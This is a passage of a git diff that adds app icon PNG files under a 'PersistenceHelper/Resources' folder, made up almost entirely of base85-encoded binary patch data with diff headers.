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

*J0PJBx zX^xPvQkg0rH266ivs5g!UrR{Hl_3+Zao;e%Ey>3EH+oOs+V7P}ZVG81wG7R@e7C*h zZJ95oAK5$5v$9aRuTevn&I=W*chdWvERkgi#YvU0$2n8JCMPSRZcL$G6a+t+0}!(O zs&9&_QN#mw?K{4Dm%o=r=-6M9x+L{7_UmzdN8F7?`Zp(m((^Bwx+mB) z1W^lSF&vs*G#q)ocJ63CC{8J5uny63vZnbrBiZY=qy=-`MTt-T51Yz32J|UV5=$Hc z%*|xCg9}CQ+4aLR+m8D#C|{H;E%D^CJz|I35<;-GVZYyT_q%?b<+o+CbKxmxFnsmV z*2lkUkXtyv-Ql)dPenzdqqcjJ94R%_;7I&d^OS8Su;>4)^|Pv|JeJ5nGSwkFi}KC} zJ_V@mB`YME*ljbt-K@)J87P(S=2CatripMsKDy1Tw%2Q4e4jXvvpX=!Z4`Tzg` literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon76x76.png b/PersistenceHelper/Resources/AppIcon76x76.png new file mode 100644 index 0000000000000000000000000000000000000000..61011e275c60091380f602d2555333625c50fade GIT binary patch literal 8662 zcmd6M2~bl@w{8$I0zyP4K_o{J5LBWv2}1I#M^F$DP!SL!A~FdP5s4ZTl_4_8QDy`p z0&*B5Gb$!P7>&Ufunz?q0pt zw;&wDtc(h5jf#w{ zij1TKhLp}z?q}bye;%1NvTNnm!Pm9zCA*1|J{d$>-7%Tw5hxG13OGFT)ii+prN^0OIzQ-aHo;6nYo4K0W0ex zzaF)-KX%-~{nY6*9%nth{4WMv3JeMkiM$qdJsN-GW=w2cJo$b?;-j?mjLfX;oZP2H z#U;;5e=jSqt*dWnY-)b-vYpY<+135Wo3{glL&GD?(Xnw3m-q40=jksqU%~H-OUwKf z=*Q|`xMX0m|Dm#7zW?re zwZjh!Yue=XOx*zW3s?IUGCr30>i*W zp`*9$XT|Cgn6AzD1qk&WGih=oTB!MB9pfto3ltUjNMLf}LwzO^*gXmCm%kgUMfT9y z^gpaVu>kDHEr{Pmr1l4Y%fM}3i4}!0e#=NI9@=1qGbt8;irtw-ym#j zjFTH_0v!2R$cLNy0ISksrPQw&G-cihR5c0pFbJiwpm&wNXwWjgy4s&)t?21@<~NcH zWVv)0PYMwX+Zb^s^wzGK@SV3_8ZY$XMQi z$U}?91zSOiP>sYje?HVACxNXkfhIY7bZ?X-zMthk1R=<=>cqoi7c4hHrmYl3v>E=v z06fZH^<3oz?p}kY;9u~caq}ifQM!%C{UUkLBgMu%of$pNxFUhA541V7`E~Bu${q{O zA8%}V`te?#&82v1dyNEkqOvyQcqR2-c#3(s8^868jDM20#ocmPxD~@IeE$|OQ!yuez`2f8Uf9!CR zCQ@DK0!(yMqjX2v&tj6g6~G^wXKFUi7XG#F$@pKnp7S zlCBQ^@qKQ%QJZ^#9-Q&P{^9wnHU^Q}C(}!_IFXk%{1YE2?xzOmD4mEx&aGzT1zo6M z&kU_jB1!SIY&B4ewgu7g!CaJ|&fQUVrgyJZ%895G8%lN*B~-)~z?FFH2AH5FZ)?u@Ek&IPwR_W|bji%yB#_z#i?^7zgj!6F-vq+aO zHoYEf*rk|st7l8|R?dsYTqFMrmAixwdiQ3}l_FE#F4`ENP`$Mud<|u?&+khQ@vF(! zxvpFfjJD{a5U1@*HaKglIFu+Xg&cLx_lk_o=ogj5_U;{>vp{Oab{tWO>vS!>&tMk0 znH!xc@=_=)N>_^o!U z+M`y#8OIJfrvu^%PRS19>PK%Svo35;y| z6|Y1em?3);E*!}+xQ z=u)$rwXD&(L!-n$ebpd+0NZxG05cMm8i%Yyw)L(5dKG%i!*$*@j1jAEwQS2hlTv2y zSCp!4rX9#X1R|2cg|=b0Zibi8n+L0?W+^79c^}{RpGRdu#V!nR3JY!PPHnj?RtM-p zwGeC^QlnsCz!u&qy&s53p)ar!H=T5@;oi6QX?KXsqs9^8L*X`BRWnUjJ|s;bl5{u! zX+F8>`<5?Jj+45dE%IcSr}-v;OQ(~H?v~|s|x(BE{bAHaN%rb zq)+ga0py7xm(=vvJ0U#dLv2IW0bNPY2xcHFmT(+*9leFH3yLd-XoDSgg1eCE6M|)( zC;=17N|o9jgv3&ShThy!f_$qRiW{ z!+EjL>D3ETpueFpt|0os7WKPDcDnDAUl6m$ZQ&nx2`l&o*i@nHs&KEgxbyD<%v|BT zYQdd?f*5o|Z;8PGZT=eeKOmq17PuU@l67ID%8V~JP$|QRo4UcJqPyC@G%4(eM+ zSrS-dbO-J}S{teZqPx8;+cC+O7~mONlVAYSJ4xyU7cATtA9@%#EvA%&6e#zjHG{>w zL3_s7G{8)t=?AOMp!II(wE!daGJ;Q1Kk-*-_jtlt(Ti|QK%W{x58|;&@x|p0dI~*~ zz`Ro3`-hiz*#_Ffgzlo(B=#L&r5ccRj~;@%@4HS^Lt_6fHf2t&V#d?B7D<9bc<)wZ zBZ}PMWWr=%fJ*Up;(L-Jw_m6tKtmO61&T?>nFPx+g38eLdS=zN`6KPtoQj;*bP~7&y;Xca{E4y8J@hGfh$5C)4+B)`{AHMj;Li7irwg zF^S5(@-6i4``XLr0IN)_?}20!gIxNKfrxZN__yIgug4iWPV!UvH&x5*LNmjs$^@3e zlORHBGvl-a6Ko^ESNE_@G%IFoxRhWyQ=+v z3*4+@fqTfU*_UE{<-tM0!7cWP?5_L+uAcEowJ)8n*ZRfPcwE;*-h1UY&6#GI+Km{5 zc@krf{}HV?ss}tNcFWbY;+g|Dt7G!=rjHKhRT&+iUjHtVz+A+yiKu@<7rk#U{tj`1 zHfP^k|A*e%^WPDibBV{z2E7h0jB=-aC>(L%dt?ohEWNZIixsFm>^g6Jypm}ftAQGC zV=6ce88FW_ji?@Ph8hH>GhT>xY^r!;J+o!s?_Qw=TSgkFG3Y%&R`OEDaHa4#+eLH6 z61h=m#3d2_X=P96XqdmF zdF)09i0J9Vv8Op33>2=W;bXIYu$FQ-UOARqkK7NgVB<>_ouA%3>fXEmrP^M6qHC&I z$r~H(){*35rY*K=XSG)tg+d4HU7$Vu2B43Dt)C>%pAc0++3_Zl$BZ1Y2wdfhfl|qqRmo;O@D` zbwj%s3Sk}69;?KIl)9$*0}_}TQD=q@xTlV;@SpWBvk(w%njb34Ldz51QB-Lbgo}_N z*u`tF#Yb|YyKu4ulIQ^;4D{z}L(`o1broNAjXZ{I^q$}YI|9N8=27cXLZd}hmt>au z+K}S{ek(KyXdZ{?g7rcLfH}tz?49w|W?o)KO;E%Nw*_{1ssnIzzVzO*l1sY;rb>w5 z;6}4JO&u=kZG}Fa+%UxsuRJ91oDc|19~x}P{#J#lV>dRvjD->55*Q;;Xf7(F2T~!I z7ViLXLaew|YFSXwB1qv<=Bfk-S%hOySUKK2q64v6wp~j5ACzlY` z0eziFZGvI{5;fHtN8T|&(%=O7Nyd* z;VE3pj?jfzWLFh=x@IHae4}`KPrLdTol)Qq z^qkO?x`d~3qsnix%liNivBKKwQNxfvcHbR~EiVzT_`P>rd^5y7;y>))<%oXKpD+Z* zEojW%=C@b@F6#)iFcV-BVxz(om0H!^8avtcgH}7k@_8t}Rj>)_k#4s25d0Y-Sd>dp zErys~(%A?DIbk0B6C*;|2=;3au3S8Y{caa;p#%3|mCT?hjRvdGN;nf$9$eI2qFJc! zw*GnYICajxGbnt1jdzHqHBR6~(xya}3e_k0*`h*vFm9}ycY*@gFN~^k7dk|S?HJ7# zOEyv#vgB_88>@l_uv*j{r970S6NMR9<=NjS+6d90 zM|)E0Jt=!sKjg&4!Gp%_8I!lVui#UJ+rpmUuXBX*C0@e4V0xq1>EwrB!*b&|>d?f#AKXDr# z!!e9+1G5sQp+#O_B2r~fizcwhA!c#jVLQgB$;(wH?|WR2L_7^{Mb=7}^=K+&h)5

KeAe4VcsYZzl!Ap5{Sm)ksO)^41AqNK&Zp<>WE z|6Erwb_A>+yq?zPdWF%SS7=O}P)W$J+HI#|O`O_u9|rrEEG)7W31~|h$9%`e@!_vh z?(q)kssL+6!tNDVt^Cau{5(egPzDB+tc6w5@@&>mBGMlDH!YcJ3b~lSrVG_w_y>oo z$A5heVCST6vz#1Aqnhn~7op#nqa=aNQJ$E$Gs3AhDX&gG)JxP44)|?7_sqj|4}p{5 z7o#Tk8F<1iYu(L$?v3C1EfKzY%QJu-xg`O0@nLUn|g}R;_U1meKD zvhq=g#HLl5G?h*G)<5nyG`uvIG5PdyTJ4P5GkGXRw$?PU@ zCB6_mld*Xa$uEUirBJBrfSDtgRoB;wjjj8&Hg&OX#z}Cf#TxKd$^j^3d}T!kR*k1U z>QZq&LZ$mksyx@nQayotf+ctQ&)$8_UbXbqh76C2#C)&)g}L1C3vZ zY7%CdNSj+?gzy0}_!A_JO3^-0MVauth=K`1-N7_r+E8mlS(_VBcW)YY(BtS@v^Drk zyc03fAV-}Ph)iD5RURfpShkN0e`sREzwBFSXVM z#=qN#zwB!@P@z+|#YHZWItQ3X41Xb^p%o54u*=F>*8Gj1yL$G={hf{i3#CZj-t0gA zTxCB0JaD!gB~Q-RHeyU1I`gc=dY}-_Pi2rGqf((tcSmNfXeE}8!^YF=P88_Bv?N+V z`rr{R`mw+(?kYN-pItrRLlf}&t2Hc9ovR3A#H?+V?r8(gAn4EZhpCVN(s=~6W% zf%S)bW`FuI0*B{(9G%m}WqwxMme_hp>x^-Hz@09?a+8oKpt)Dw0lIwDh#FsFT$eQL zJ5vNX({yPX4d>9tDd#MI4T6PrOog=iD9^GsyQ}K&X zzwAvRgyH9a3-dR?HK9>2YoxJ=+6--ns8Hx#xeM1}e@awfvlSk9&F;Fp_8YE?4s>%* zN2)FCD$PR`B*_EL*xeJ!P!Sn#zbiIRKRd!AI`iXM^PQbdo|7971$Auy(~bC z8H(jyImkPRN@FEceui|;slwyZqm$Bdn&W8Y@MATDJU7E8sR&O(skf;NS+iB&jB>(B z;6Xkg;*dSl=Il5gP*DeE+;IuZKBr-I(Z)R+pHsle2*F=2x_331031jJlX*vnxC9;| z^W&-KkIJ8Zmyg-j)!#cWoz2}}vANU8 zX}5+()NFZU*x}8o6^Gr=)t1TKFd?;5Y8oF_3hf5O81b-_<7~kSLWl#aUax}a>gWUB z!ESg*PHF+@6j4I#!>(ECz$l32@KNFCA8^M}8-i8}41=4_Ve#ePK6{>%z#g!UVM?hf zVw;|=Y26lCWFnHQ@0N$(6$55hVwlfs(?1x2mMTa67Jau-c6>1AF!|S=%ra_|s&9}^ z1D5w%wzbi^HQf=S7y0h>1%cV^s;9~g!Sh$D93IFAYuTNg?&y4BceebuU{r1Lua7!3 zE?Hd)+}(RKASb&{C*slZZfTCCZ_AF{qptoEEEZg1uIg@vWA4j@g-8lxT$Y3Qr6QO?iF|HyaY&lSgKu2{n7(?f5J=8BwuYa}2=h0ZWc+th7->hog zaOJf7D?T6Sz2xU> z+)qvIV0MipPW4wLR(KVAq+fhkrDLIqP}epK8cg<1Kjp6;Y<`J(YP`Rp;wZS@^-eM3 zUohm8>OeQaBF2a0UYbL)l*S)xvAf3TC~<>H)R-9gS?Ax1A!p37q#lyjgZ~HBxd(J( czN^3aH#YXATM literal 0 HcmV?d00001 diff --git a/PersistenceHelper/Resources/AppIcon76x76@2x.png b/PersistenceHelper/Resources/AppIcon76x76@2x.png new file mode 100644 index 0000000000000000000000000000000000000000..61e4c7a59c05fb89c580d3d50c0cc370ecd3f455 GIT binary patch literal 21962 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

